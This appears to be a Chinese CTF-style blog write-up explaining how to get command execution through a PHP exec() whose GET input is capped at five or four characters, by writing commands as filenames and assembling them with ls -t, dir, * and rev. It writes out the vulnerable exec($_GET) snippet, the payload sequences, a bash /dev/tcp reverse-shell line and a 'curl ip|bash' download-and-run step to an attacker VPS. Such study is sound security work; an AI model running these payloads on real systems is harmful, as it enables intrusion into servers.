限制长度为5

if (isset($_GET['rce']) && strlen($_GET['rce']) <= 5) {
         @exec($_GET['rce']);
    }

我们可以确定的一点,这种每次命令执行都需要重新构造的地方,一般都考虑用反弹shell的方式一次性构造。

一些前置知识

  1. \命令换行
    虽然对命令长度有所限制,我们可以通过\方式持续执行,比如:
  2. sh执行文件内容
    sh可以执行文件内容中的shell命令,即使命令错误也不影响后面的执行。
  3. >>>写入
    在Linux下,可以通过>+filename写入内容,如果没有文件则会自动创建,其中>会覆盖掉文件之前的内容,>>则是在文件尾部追加。


    这里有一个问题,当我们不写入输入内容时,会打开一个文件输入流,让我们写入内容,那如果我们存在test文件,里面写有
>1
pwd
>2

那么我们执行sh test,如果输入流没有关闭的话,应该只会生成一个1文件,里面写有pwd >2,如果自动关闭了,那么就会按顺序执行。

可以看出来这里执行pwd时,以及把>1所关闭了,所以不会有影响。


我们差不多可以明白该如何构造,首先通过>filename创建若干个文件,文件名连起来就是我们的执行命令,然后ls>newfilename将文件名连起来写入一个新文件,最后sh newfilename即可命令执行。
反弹shell的话,我们最后应该命令执行bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1,如果我们写入空格,因为空格需要转义,应该构造>\ \\,这里的长度就已经有5了,而这样的空格有4个,就会创建4个文件为' \' ,显然是不可取的,这里换一种思路,把反弹shell指令挂在vps上,通过curl ip|bash的方式执行。

接下来我们需要明白ls的输出格式
在Linux下,ls是按照ASCII字典排序输出,如果这样ls>filename的话,显然不能将我们的curl命令写入,ls -t这样的输出是按创建时间从后往前输出,那么我们只需要逆着创建文件即可,但ls -t>filename这则指令长度又大于了5,所以我们需要把这条指令同样写入一个文件执行

>1\\
>_\\
>3\\
>a\\
>-t\\


刚开始构造我还没有意识到什么,后来查表发现-的ASCII为45,_ASCII为95,这两个完全出了大问题呀。
这题最大的难点我觉得就在这,Linux对ls的根本输出方式,这里有一篇文章写的非常详细,尽管Linux下的ls并不是完全按照ascii码值输出,但php下LC_COLLATE=C这种情况是按照ascii大小输出的,而题目恰好就为php环境,最终我们的构造如下。

>ls\\    # 'ls\'
ls>_     # _,'ls\'  

# _内为
# _
# ls\

>\ \\    # ' \',_,'ls\'
>-t\\    # ' \','-t',_,'ls\'   
>\>y     # ' \','-t\','>y',_,'ls\'
ls>>_

# _内为
# _
# ls\
#  \
# -t\
# >y
# _
# ls\

这样 在_文件内就存有我们的ls -t>y的指令了,只需要按部就班逆序构造curl,执行sh _后再执行sh y即可成功rce

限制长度为4

长度为4的话,上面构造的ls -t>y就彻底失效了,这需要我们寻求新的办法。

一些前置知识

  1. dir可做ls的别名。
  2. *指令,相当于$(ls),会将文件排序当作指令执行
  3. ls某个或多个文件,返回的就是文件名字
  4. rev可逆序输出 输出规则为 对一个句子,所有词逆序输出,对一个词,每个字母逆序输出。
rev: 12 abc 567
out: 765 cba 21

我们先这样构造

>dir
>sl
>ht-
>g\>
#这里的顺序无所谓

可以看到我们只要把第一个指令dir的内容写入一个文件,再对文件进行逆序,就可以得到ls -th>g,这里的-th-t没有区别,但如果不加h的话,t的ascii是大于s的,会导致顺序为g>,sl,t-

下一步执行*>v,*会执行dir

最后一步,就是利用我们的rev,先>rev创建rev文件,再利用*v>x*v会匹配所有以v结尾的文件,在这里会执行·rev v,这也是为什么我们上面要创建文件名为v的原因(不得不说实在是太巧妙了)

后面的构造curl方法也就和第一种类型一样了。

最后修改:2021 年 03 月 29 日 09 : 28 AM